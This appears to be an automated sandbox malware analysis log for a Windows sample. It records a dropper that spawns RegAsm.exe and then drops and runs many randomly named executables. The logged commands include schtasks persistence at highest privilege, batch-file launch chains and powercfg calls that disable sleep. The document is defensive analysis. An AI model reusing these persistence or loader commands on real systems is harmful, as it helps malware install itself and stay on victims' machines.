Source: RegAsm.exe, 00000014.00000002.2848710756.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2906535363.000000006B57F000.00000002.00000001.01000000.00000023.sdmp, RegAsm.exe, 00000014.00000002.2698472720.000000001B0A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 00000014.00000002.2848710756.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2906535363.000000006B57F000.00000002.00000001.01000000.00000023.sdmp, RegAsm.exe, 00000014.00000002.2698472720.000000001B0A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000014.00000002.2848710756.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2906535363.000000006B57F000.00000002.00000001.01000000.00000023.sdmp, RegAsm.exe, 00000014.00000002.2698472720.000000001B0A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000014.00000002.2848710756.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2906535363.000000006B57F000.00000002.00000001.01000000.00000023.sdmp, RegAsm.exe, 00000014.00000002.2698472720.000000001B0A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, RegAsm.exe, 00000014.00000002.2848710756.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2906535363.000000006B57F000.00000002.00000001.01000000.00000023.sdmp, RegAsm.exe, 00000014.00000002.2698472720.000000001B0A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000014.00000002.2848710756.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2698472720.000000001B0A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000014.00000002.2848710756.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2906535363.000000006B57F000.00000002.00000001.01000000.00000023.sdmp, RegAsm.exe, 00000014.00000002.2698472720.000000001B0A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 00000014.00000002.2848710756.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2698472720.000000001B0A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 00000014.00000002.2848710756.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2698472720.000000001B0A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: kqS23MOytx.exe

ReversingLabs: Detection: 50%

Source: LfiXVL0FmEQ8Z73WgU_xbDtt.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: RegAsm.exe	String found in binary or memory: ft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d
Source: RegAsm.exe	String found in binary or memory: m/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?

Source: unknown	Process created: C:\Users\user\Desktop\kqS23MOytx.exe "C:\Users\user\Desktop\kqS23MOytx.exe"
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 8048 -ip 8048
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 7964 -ip 7964
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process created: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe "C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe"
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Process created: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp "C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp" /SL5="$20478,4121162,54272,C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe"
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8048 -s 832
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7964 -s 876
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Process created: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe "C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe" -i
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Cashiers Cashiers.bat & Cashiers.bat & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Heritage Heritage.bat & Heritage.bat & exit
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Process created: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe "C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\jewkkwnf\jewkkwnf.exe C:\ProgramData\jewkkwnf\jewkkwnf.exe
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: unknown	Process created: C:\ProgramData\jewkkwnf\jewkkwnf.exe C:\ProgramData\jewkkwnf\jewkkwnf.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe "C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe"
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process created: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe "C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe"
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process created: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe "C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe"	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Cashiers Cashiers.bat & Cashiers.bat & exit	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Process created: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe "C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe"	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Process created: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp "C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp" /SL5="$20478,4121162,54272,C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe"	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Heritage Heritage.bat & Heritage.bat & exit
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 8048 -ip 8048
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 7964 -ip 7964
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8048 -s 832
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7964 -s 876
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf HR" /sc HOURLY /rl HIGHEST
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf LG" /sc ONLOGON /rl HIGHEST
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Process created: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe "C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe" -i
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process created: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe "C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe"

Source: C:\Users\user\Desktop\kqS23MOytx.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
